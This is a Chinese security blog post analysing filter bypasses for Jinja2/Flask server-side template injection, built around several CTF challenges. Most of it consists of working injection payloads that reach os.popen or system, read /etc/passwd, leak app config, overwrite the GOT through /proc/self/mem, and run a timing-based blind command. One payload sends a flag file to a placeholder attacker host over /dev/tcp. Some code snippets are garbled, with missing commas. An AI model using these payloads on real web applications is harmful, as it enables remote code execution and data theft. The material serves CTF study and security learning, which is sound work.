SSTI Bypass 分析

2019-10-12 5,239

护网杯过去不久,realworld到来之前先来研究研究SSTI的Bypass套路。

SSTI Bypass

首先来看一个护网杯的那道easypy,后台在输入{{config}}的时候出现回显,因此判断是SSTI。

继续测试,发现其过滤了[ , ' , _以及一些特殊的字符,像os,d等字符串,因此在一篇文章中发现如下的方法,使用attr进行绕过

http://152.136.21.148:5317/render?data={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__

得到回显

因此只需要将转为

[].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()

如上的payload即可拿到flag,因此最后的payload为

{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(233)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").system("/bin/bash+-c+"cat+/flag.txt+>+/dev/tcp/attacker_ip/8080"")


同时,还可以使用如下的payload进行ssti

{% print ""|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(99)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)("o"+"s")|attr("popen")("cat flag.txt")|attr(request.args.re)()|safe%}&globals=__globals__&subclasses=__subclasses__&re=read&init=__init__&base=__base__&class=__class__&getitem=__getitem__

因此,借这道题目来进行一下SSTI Bypass的学习,来个简易的脚本

import sys
from jinja2 import Template

template = Template("Hello {}".format(sys.argv[1if len(sys.argv) > 1else '<yes>'))

print(template.render())


绕过 _ 符号

这个就是在护网杯的时候的两个payload,同时还有如下payload

{{(()|attr(request.args.param)|attr(request.args.param1)|attr(request.args.param2)()).pop(40)(request.args.file).read()}}&param=__class__&param1=__base__&param2=__subclasses__&file=/etc/passwd


绕过 [ 符号

通过调用global进行命令执行

{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen('whoami').read()}}


该payload只能在python2版本下使用

import 被阉割的情况

该问题出现在18年的全国大学生安全竞赛,因此可以用使用write修改got表。实际上是一个 /proc/self/mem 的内存操作方法 /proc/self/mem 是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到Python一些函数的偏移,如 system ,我们便可以通过覆写 got 表达到 getshell的目的。

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

第一个是地址偏移,第二个是fopen的偏移,我们可以通过 objdump 获取相关信息 因此可以劫持got表getshell

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /etc/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

这个太难了,立个flag,后期学 

或者寻找import的简介引用, closure 这个 object 保存了参数,可以引用原生的 import

print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')


绕过 ( 、)、self、config 

这个题目是TWCTF的题目,源码如下

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(''').replace(')''')
        blacklist = ['config''self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

因此利用__dict__和__globals__获取属性和定义域信息,payload为

url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config

获取sys

{{app.__init__.__globals__.sys.modules.app.app.__dict__}}

或者使用request来递归子属性,借用大佬的脚本进行回溯

def search(obj, max_depth):

    visited_clss = []
    visited_objs = []

    def visit(obj, path='obj', depth=0):
        yield path, obj

        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            print(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)

        # attributes
        for name in dir(obj):
            if name.startswith('__'and name.endswith('__'):
                if name not in  ('__globals__''__class__''__self__',
                                 '__weakref__''__objclass__''__module__'):
                    continue
            attr = getattr(obj, name)
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

        # dict values
        if hasattr(obj, 'items'and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass

        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

    yield from visit(obj)

app.py

import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    for path, obj in search(request, 10):
        if str(obj) == app.config['FLAG']:
            return path

if __name__ == '__main__':
    app.run(debug=True)

在无回显的情况下除了将flag弹回到自己的vps上面之外也可以用glzjin的利用事件盲注文件内容的方法

因此可以使用如下的方法继续判断 

 c=`cut -b 5 flag`; [ $c = "{" ] && sleep 4

闭包避免了使用全局变量,此外,闭包允许将函数与其所操作的某些数据(环境)关连起来。这一点与面向对象编程是非常类似的,在面对象编程中,对象允许我们将某些数据(对象的属性)与一个或者多个方法相关联。它返回的是一个由 cell 对象 组成的元组对象 ,那么就可以用来调用os方法了,因此可以使用闭包__closure__方法来引用os模块,payload如下

__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('c=`cut -b 5  /root/flag`; [ $c = "{" ] && sleep 3 ')


Reference

  • https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti

  • https://wiki.x10sec.org/pwn/sandbox/python-sandbox-escape/

  • https://bestwing.me/awesome-python-sandbox-in-ciscn.html

  • https://xz.aliyun.com/t/52#toc-0

  • https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/

  • https://www.zhaoj.in/read-6251.html


本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/115367.html

Tags:
评论  (0)
快来写下你的想法吧!

ChaMd5安全团队

文章数:53 积分: 171

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号